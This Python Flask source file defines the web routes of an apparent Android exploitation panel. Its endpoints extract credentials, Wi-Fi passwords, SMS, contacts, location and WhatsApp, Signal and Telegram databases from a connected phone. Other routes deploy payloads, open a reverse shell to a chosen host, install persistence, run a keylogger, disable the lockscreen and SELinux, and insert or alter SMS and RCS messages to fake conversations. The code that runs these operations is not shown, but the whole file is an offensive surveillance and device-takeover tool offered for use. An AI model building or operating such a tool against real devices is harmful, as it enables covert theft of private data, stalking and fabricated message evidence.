"""Android Exploitation routes - App extraction, recon, payloads, boot, root."""

import os
from flask import Blueprint, render_template, request, jsonify
from web.auth import login_required

android_exploit_bp = Blueprint('android_exploit', __name__, url_prefix='/android-exploit')


def _get_mgr():
    from core.android_exploit import get_exploit_manager
    return get_exploit_manager()


def _get_serial():
    data = request.get_json(silent=True) or {}
    serial = data.get('serial', '').strip()
    if not serial:
        # Auto-detect if only one device connected
        devices = _get_mgr().hw.adb_devices()
        online = [d for d in devices if d.get('state') == 'device']
        if len(online) == 1:
            return online[0]['serial'], None
        return None, jsonify({'error': 'No device serial provided (and multiple/no devices found)'})
    return serial, None


@android_exploit_bp.route('/')
@login_required
def index():
    from core.hardware import get_hardware_manager
    hw = get_hardware_manager()
    status = hw.get_status()
    return render_template('android_exploit.html', status=status)


# ── App Extraction ────────────────────────────────────────────────

@android_exploit_bp.route('/apps/list', methods=['POST'])
@login_required
def apps_list():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    include_system = data.get('include_system', False)
    return jsonify(_get_mgr().list_packages(serial, include_system=include_system))


@android_exploit_bp.route('/apps/pull-apk', methods=['POST'])
@login_required
def apps_pull_apk():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    package = data.get('package', '').strip()
    if not package:
        return jsonify({'error': 'No package provided'})
    return jsonify(_get_mgr().pull_apk(serial, package))


@android_exploit_bp.route('/apps/pull-data', methods=['POST'])
@login_required
def apps_pull_data():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    package = data.get('package', '').strip()
    if not package:
        return jsonify({'error': 'No package provided'})
    return jsonify(_get_mgr().pull_app_data(serial, package))


@android_exploit_bp.route('/apps/shared-prefs', methods=['POST'])
@login_required
def apps_shared_prefs():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    package = data.get('package', '').strip()
    if not package:
        return jsonify({'error': 'No package provided'})
    return jsonify(_get_mgr().extract_shared_prefs(serial, package))


# ── Device Recon ──────────────────────────────────────────────────

@android_exploit_bp.route('/recon/device-dump', methods=['POST'])
@login_required
def recon_device_dump():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().full_device_dump(serial))


@android_exploit_bp.route('/recon/accounts', methods=['POST'])
@login_required
def recon_accounts():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().get_accounts(serial))


@android_exploit_bp.route('/recon/wifi', methods=['POST'])
@login_required
def recon_wifi():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().get_wifi_passwords(serial))


@android_exploit_bp.route('/recon/calls', methods=['POST'])
@login_required
def recon_calls():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    limit = int(data.get('limit', 200))
    return jsonify(_get_mgr().extract_call_logs(serial, limit=limit))


@android_exploit_bp.route('/recon/sms', methods=['POST'])
@login_required
def recon_sms():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    limit = int(data.get('limit', 200))
    return jsonify(_get_mgr().extract_sms(serial, limit=limit))


@android_exploit_bp.route('/recon/contacts', methods=['POST'])
@login_required
def recon_contacts():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().extract_contacts(serial))


@android_exploit_bp.route('/recon/browser', methods=['POST'])
@login_required
def recon_browser():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().extract_browser_history(serial))


@android_exploit_bp.route('/recon/credentials', methods=['POST'])
@login_required
def recon_credentials():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().extract_saved_credentials(serial))


@android_exploit_bp.route('/recon/export', methods=['POST'])
@login_required
def recon_export():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().export_recon_report(serial))


# ── Payload Deployment ────────────────────────────────────────────

@android_exploit_bp.route('/payload/deploy', methods=['POST'])
@login_required
def payload_deploy():
    serial = request.form.get('serial', '').strip()
    if not serial:
        return jsonify({'error': 'No serial provided'})
    remote_path = request.form.get('remote_path', '/data/local/tmp/').strip()
    f = request.files.get('file')
    if not f:
        return jsonify({'error': 'No file uploaded'})
    from core.paths import get_uploads_dir
    upload_path = str(get_uploads_dir() / f.filename)
    f.save(upload_path)
    return jsonify(_get_mgr().deploy_binary(serial, upload_path, remote_path))


@android_exploit_bp.route('/payload/execute', methods=['POST'])
@login_required
def payload_execute():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    remote_path = data.get('remote_path', '').strip()
    args = data.get('args', '')
    background = data.get('background', True)
    if not remote_path:
        return jsonify({'error': 'No remote_path provided'})
    return jsonify(_get_mgr().execute_payload(serial, remote_path, args=args, background=background))


@android_exploit_bp.route('/payload/reverse-shell', methods=['POST'])
@login_required
def payload_reverse_shell():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    lhost = data.get('lhost', '').strip()
    lport = data.get('lport', '')
    method = data.get('method', 'nc').strip()
    if not lhost or not lport:
        return jsonify({'error': 'Missing lhost or lport'})
    return jsonify(_get_mgr().setup_reverse_shell(serial, lhost, int(lport), method))


@android_exploit_bp.route('/payload/persistence', methods=['POST'])
@login_required
def payload_persistence():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    method = data.get('method', 'init.d').strip()
    return jsonify(_get_mgr().install_persistence(serial, method))


@android_exploit_bp.route('/payload/list', methods=['POST'])
@login_required
def payload_list():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().list_running_payloads(serial))


@android_exploit_bp.route('/payload/kill', methods=['POST'])
@login_required
def payload_kill():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    pid = data.get('pid', '').strip()
    if not pid:
        return jsonify({'error': 'No PID provided'})
    return jsonify(_get_mgr().kill_payload(serial, pid))


# ── Boot / Recovery ───────────────────────────────────────────────

@android_exploit_bp.route('/boot/info', methods=['POST'])
@login_required
def boot_info():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().get_bootloader_info(serial))


@android_exploit_bp.route('/boot/backup', methods=['POST'])
@login_required
def boot_backup():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().backup_boot_image(serial))


@android_exploit_bp.route('/boot/unlock', methods=['POST'])
@login_required
def boot_unlock():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().unlock_bootloader(serial))


@android_exploit_bp.route('/boot/flash-recovery', methods=['POST'])
@login_required
def boot_flash_recovery():
    serial = request.form.get('serial', '').strip()
    if not serial:
        return jsonify({'error': 'No serial provided'})
    f = request.files.get('file')
    if not f:
        return jsonify({'error': 'No file uploaded'})
    from core.paths import get_uploads_dir
    upload_path = str(get_uploads_dir() / f.filename)
    f.save(upload_path)
    return jsonify(_get_mgr().flash_recovery(serial, upload_path))


@android_exploit_bp.route('/boot/flash-boot', methods=['POST'])
@login_required
def boot_flash_boot():
    serial = request.form.get('serial', '').strip()
    if not serial:
        return jsonify({'error': 'No serial provided'})
    f = request.files.get('file')
    if not f:
        return jsonify({'error': 'No file uploaded'})
    from core.paths import get_uploads_dir
    upload_path = str(get_uploads_dir() / f.filename)
    f.save(upload_path)
    return jsonify(_get_mgr().flash_boot(serial, upload_path))


@android_exploit_bp.route('/boot/disable-verity', methods=['POST'])
@login_required
def boot_disable_verity():
    # Supports both JSON and form upload
    if request.content_type and 'multipart' in request.content_type:
        serial = request.form.get('serial', '').strip()
        f = request.files.get('file')
        vbmeta = None
        if f:
            from core.paths import get_uploads_dir
            vbmeta = str(get_uploads_dir() / f.filename)
            f.save(vbmeta)
    else:
        data = request.get_json(silent=True) or {}
        serial = data.get('serial', '').strip()
        vbmeta = None
    if not serial:
        return jsonify({'error': 'No serial provided'})
    return jsonify(_get_mgr().disable_verity(serial, vbmeta))


@android_exploit_bp.route('/boot/temp-boot', methods=['POST'])
@login_required
def boot_temp():
    serial = request.form.get('serial', '').strip()
    if not serial:
        return jsonify({'error': 'No serial provided'})
    f = request.files.get('file')
    if not f:
        return jsonify({'error': 'No file uploaded'})
    from core.paths import get_uploads_dir
    upload_path = str(get_uploads_dir() / f.filename)
    f.save(upload_path)
    return jsonify(_get_mgr().boot_temp(serial, upload_path))


# ── Root Methods ──────────────────────────────────────────────────

@android_exploit_bp.route('/root/check', methods=['POST'])
@login_required
def root_check():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().check_root(serial))


@android_exploit_bp.route('/root/install-magisk', methods=['POST'])
@login_required
def root_install_magisk():
    serial = request.form.get('serial', '').strip()
    if not serial:
        return jsonify({'error': 'No serial provided'})
    f = request.files.get('file')
    if not f:
        return jsonify({'error': 'No file uploaded'})
    from core.paths import get_uploads_dir
    upload_path = str(get_uploads_dir() / f.filename)
    f.save(upload_path)
    return jsonify(_get_mgr().install_magisk(serial, upload_path))


@android_exploit_bp.route('/root/pull-patched', methods=['POST'])
@login_required
def root_pull_patched():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().pull_patched_boot(serial))


@android_exploit_bp.route('/root/exploit', methods=['POST'])
@login_required
def root_exploit():
    serial = request.form.get('serial', '').strip()
    if not serial:
        return jsonify({'error': 'No serial provided'})
    f = request.files.get('file')
    if not f:
        return jsonify({'error': 'No file uploaded'})
    from core.paths import get_uploads_dir
    upload_path = str(get_uploads_dir() / f.filename)
    f.save(upload_path)
    return jsonify(_get_mgr().root_via_exploit(serial, upload_path))


# ── SMS Manipulation ─────────────────────────────────────────────

@android_exploit_bp.route('/sms/list', methods=['POST'])
@login_required
def sms_list():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    limit = int(data.get('limit', 50))
    address = data.get('address', '').strip() or None
    return jsonify(_get_mgr().sms_list(serial, limit=limit, address=address))


@android_exploit_bp.route('/sms/insert', methods=['POST'])
@login_required
def sms_insert():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    address = data.get('address', '').strip()
    body = data.get('body', '').strip()
    if not address or not body:
        return jsonify({'error': 'Missing address or body'})
    return jsonify(_get_mgr().sms_insert(
        serial, address, body,
        date_str=data.get('date') or None,
        time_str=data.get('time') or None,
        msg_type=data.get('type', 'inbox'),
        read=data.get('read', True),
    ))


@android_exploit_bp.route('/sms/bulk-insert', methods=['POST'])
@login_required
def sms_bulk_insert():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    messages = data.get('messages', [])
    if not messages:
        return jsonify({'error': 'No messages provided'})
    return jsonify(_get_mgr().sms_bulk_insert(serial, messages))


@android_exploit_bp.route('/sms/update', methods=['POST'])
@login_required
def sms_update():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    sms_id = data.get('id', '').strip()
    if not sms_id:
        return jsonify({'error': 'No SMS id provided'})
    return jsonify(_get_mgr().sms_update(
        serial, sms_id,
        body=data.get('body'),
        date_str=data.get('date'),
        time_str=data.get('time'),
        address=data.get('address'),
        msg_type=data.get('type'),
        read=data.get('read'),
    ))


@android_exploit_bp.route('/sms/delete', methods=['POST'])
@login_required
def sms_delete():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    sms_id = data.get('id', '').strip() if data.get('id') else None
    address = data.get('address', '').strip() if data.get('address') else None
    delete_all_from = data.get('delete_all_from', False)
    return jsonify(_get_mgr().sms_delete(serial, sms_id=sms_id, address=address,
                                         delete_all_from=delete_all_from))


@android_exploit_bp.route('/sms/delete-all', methods=['POST'])
@login_required
def sms_delete_all():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().sms_delete_all(serial))


# ── RCS Spoofing ─────────────────────────────────────────────────

@android_exploit_bp.route('/rcs/check', methods=['POST'])
@login_required
def rcs_check():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().rcs_check_support(serial))


@android_exploit_bp.route('/rcs/list', methods=['POST'])
@login_required
def rcs_list():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    limit = int(data.get('limit', 50))
    return jsonify(_get_mgr().rcs_list(serial, limit=limit))


@android_exploit_bp.route('/rcs/insert', methods=['POST'])
@login_required
def rcs_insert():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    address = data.get('address', '').strip()
    body = data.get('body', '').strip()
    if not address or not body:
        return jsonify({'error': 'Missing address or body'})
    return jsonify(_get_mgr().rcs_insert(
        serial, address, body,
        date_str=data.get('date') or None,
        time_str=data.get('time') or None,
        sender_name=data.get('sender_name') or None,
        is_outgoing=data.get('is_outgoing', False),
    ))


@android_exploit_bp.route('/rcs/delete', methods=['POST'])
@login_required
def rcs_delete():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    msg_id = data.get('id', '')
    if not msg_id:
        return jsonify({'error': 'No message id provided'})
    return jsonify(_get_mgr().rcs_delete(serial, int(msg_id)))


# ── Screen & Input ───────────────────────────────────────────────

@android_exploit_bp.route('/screen/capture', methods=['POST'])
@login_required
def screen_capture():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().screen_capture(serial))


@android_exploit_bp.route('/screen/record', methods=['POST'])
@login_required
def screen_record():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    duration = int(data.get('duration', 10))
    return jsonify(_get_mgr().screen_record(serial, duration=duration))


@android_exploit_bp.route('/screen/tap', methods=['POST'])
@login_required
def screen_tap():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    return jsonify(_get_mgr().input_tap(serial, data.get('x', 0), data.get('y', 0)))


@android_exploit_bp.route('/screen/swipe', methods=['POST'])
@login_required
def screen_swipe():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    return jsonify(_get_mgr().input_swipe(serial, data.get('x1',0), data.get('y1',0),
                                          data.get('x2',0), data.get('y2',0),
                                          int(data.get('duration', 300))))


@android_exploit_bp.route('/screen/text', methods=['POST'])
@login_required
def screen_text():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    text = data.get('text', '')
    if not text:
        return jsonify({'error': 'No text provided'})
    return jsonify(_get_mgr().input_text(serial, text))


@android_exploit_bp.route('/screen/key', methods=['POST'])
@login_required
def screen_key():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    return jsonify(_get_mgr().input_keyevent(serial, data.get('keycode', 3)))


@android_exploit_bp.route('/screen/keylogger-start', methods=['POST'])
@login_required
def keylogger_start():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().start_keylogger(serial))


@android_exploit_bp.route('/screen/keylogger-stop', methods=['POST'])
@login_required
def keylogger_stop():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().stop_keylogger(serial))


@android_exploit_bp.route('/screen/dismiss-lock', methods=['POST'])
@login_required
def dismiss_lock():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().dismiss_lockscreen(serial))


@android_exploit_bp.route('/screen/disable-lock', methods=['POST'])
@login_required
def disable_lock():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().disable_lockscreen(serial))


# ── Advanced: Data ───────────────────────────────────────────────

@android_exploit_bp.route('/adv/clipboard', methods=['POST'])
@login_required
def adv_clipboard():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().extract_clipboard(serial))


@android_exploit_bp.route('/adv/notifications', methods=['POST'])
@login_required
def adv_notifications():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().dump_notifications(serial))


@android_exploit_bp.route('/adv/location', methods=['POST'])
@login_required
def adv_location():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().extract_location(serial))


@android_exploit_bp.route('/adv/media-list', methods=['POST'])
@login_required
def adv_media_list():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    return jsonify(_get_mgr().extract_media_list(serial, media_type=data.get('type', 'photos')))


@android_exploit_bp.route('/adv/media-pull', methods=['POST'])
@login_required
def adv_media_pull():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    return jsonify(_get_mgr().pull_media_folder(serial, media_type=data.get('type', 'photos'),
                                                limit=int(data.get('limit', 50))))


@android_exploit_bp.route('/adv/whatsapp', methods=['POST'])
@login_required
def adv_whatsapp():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().extract_whatsapp_db(serial))


@android_exploit_bp.route('/adv/telegram', methods=['POST'])
@login_required
def adv_telegram():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().extract_telegram_db(serial))


@android_exploit_bp.route('/adv/signal', methods=['POST'])
@login_required
def adv_signal():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().extract_signal_db(serial))


@android_exploit_bp.route('/adv/fingerprint', methods=['POST'])
@login_required
def adv_fingerprint():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().get_device_fingerprint(serial))


@android_exploit_bp.route('/adv/settings', methods=['POST'])
@login_required
def adv_settings():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().dump_all_settings(serial))


# ── Advanced: Network ────────────────────────────────────────────

@android_exploit_bp.route('/adv/network-info', methods=['POST'])
@login_required
def adv_network_info():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().get_network_info(serial))


@android_exploit_bp.route('/adv/proxy-set', methods=['POST'])
@login_required
def adv_proxy_set():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    host = data.get('host', '').strip()
    port = data.get('port', '').strip()
    if not host or not port:
        return jsonify({'error': 'Missing host or port'})
    return jsonify(_get_mgr().set_proxy(serial, host, port))


@android_exploit_bp.route('/adv/proxy-clear', methods=['POST'])
@login_required
def adv_proxy_clear():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().clear_proxy(serial))


@android_exploit_bp.route('/adv/wifi-scan', methods=['POST'])
@login_required
def adv_wifi_scan():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().wifi_scan(serial))


@android_exploit_bp.route('/adv/wifi-connect', methods=['POST'])
@login_required
def adv_wifi_connect():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    return jsonify(_get_mgr().wifi_connect(serial, data.get('ssid',''), data.get('password','')))


@android_exploit_bp.route('/adv/adb-wifi', methods=['POST'])
@login_required
def adv_adb_wifi():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    return jsonify(_get_mgr().enable_adb_wifi(serial, int(data.get('port', 5555))))


@android_exploit_bp.route('/adv/capture-traffic', methods=['POST'])
@login_required
def adv_capture():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    return jsonify(_get_mgr().capture_traffic(serial,
        interface=data.get('interface', 'any'),
        duration=int(data.get('duration', 30)),
        pcap_filter=data.get('filter', '')))


# ── Advanced: System ─────────────────────────────────────────────

@android_exploit_bp.route('/adv/selinux', methods=['POST'])
@login_required
def adv_selinux():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    return jsonify(_get_mgr().set_selinux(serial, data.get('mode', 'permissive')))


@android_exploit_bp.route('/adv/remount', methods=['POST'])
@login_required
def adv_remount():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().remount_system(serial))


@android_exploit_bp.route('/adv/logcat-sensitive', methods=['POST'])
@login_required
def adv_logcat():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    return jsonify(_get_mgr().logcat_sensitive(serial, int(data.get('duration', 10))))


@android_exploit_bp.route('/adv/processes', methods=['POST'])
@login_required
def adv_processes():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().get_running_processes(serial))


@android_exploit_bp.route('/adv/ports', methods=['POST'])
@login_required
def adv_ports():
    serial, err = _get_serial()
    if err:
        return err
    return jsonify(_get_mgr().get_open_ports(serial))


@android_exploit_bp.route('/adv/modify-setting', methods=['POST'])
@login_required
def adv_modify_setting():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    ns = data.get('namespace', '').strip()
    key = data.get('key', '').strip()
    value = data.get('value', '').strip()
    if not ns or not key:
        return jsonify({'error': 'Missing namespace or key'})
    return jsonify(_get_mgr().modify_setting(serial, ns, key, value))


@android_exploit_bp.route('/adv/app-disable', methods=['POST'])
@login_required
def adv_app_disable():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    package = data.get('package', '').strip()
    if not package:
        return jsonify({'error': 'No package provided'})
    return jsonify(_get_mgr().disable_app(serial, package))


@android_exploit_bp.route('/adv/app-enable', methods=['POST'])
@login_required
def adv_app_enable():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    package = data.get('package', '').strip()
    if not package:
        return jsonify({'error': 'No package provided'})
    return jsonify(_get_mgr().enable_app(serial, package))


@android_exploit_bp.route('/adv/app-clear', methods=['POST'])
@login_required
def adv_app_clear():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    package = data.get('package', '').strip()
    if not package:
        return jsonify({'error': 'No package provided'})
    return jsonify(_get_mgr().clear_app_data(serial, package))


@android_exploit_bp.route('/adv/app-launch', methods=['POST'])
@login_required
def adv_app_launch():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    package = data.get('package', '').strip()
    if not package:
        return jsonify({'error': 'No package provided'})
    return jsonify(_get_mgr().launch_app(serial, package))


@android_exploit_bp.route('/adv/content-query', methods=['POST'])
@login_required
def adv_content_query():
    serial, err = _get_serial()
    if err:
        return err
    data = request.get_json(silent=True) or {}
    uri = data.get('uri', '').strip()
    if not uri:
        return jsonify({'error': 'No URI provided'})
    return jsonify(_get_mgr().content_query(serial, uri,
        projection=data.get('projection', ''), where=data.get('where', '')))


# ── WebUSB Direct Mode: Command Relay ────────────────────────────────


@android_exploit_bp.route('/cmd', methods=['POST'])
@login_required
def get_direct_commands():
    """Return ADB shell command(s) for an operation without executing them.
    Used by WebUSB Direct mode: browser executes via HWDirect.adbShell().
    Returns one of:
      {commands: ['cmd1', 'cmd2', ...]}  — shell operations
      {pullPath: '/device/path'}         — file pull operations
      {error: 'message'}                 — unsupported operation
    """
    data = request.get_json(silent=True) or {}
    op = data.get('op', '')
    params = data.get('params', {})
    result = _get_mgr().get_commands_for_op(op, params)
    return jsonify(result)


@android_exploit_bp.route('/parse', methods=['POST'])
@login_required
def parse_direct_output():
    """Parse raw ADB shell output from WebUSB Direct mode execution.
    Takes the raw text output and returns the same structured JSON
    that the normal server-mode endpoint would return.
    """
    data = request.get_json(silent=True) or {}
    op = data.get('op', '')
    params = data.get('params', {})
    raw = data.get('raw', '')
    result = _get_mgr().parse_op_output(op, params, raw)
    return jsonify(result)
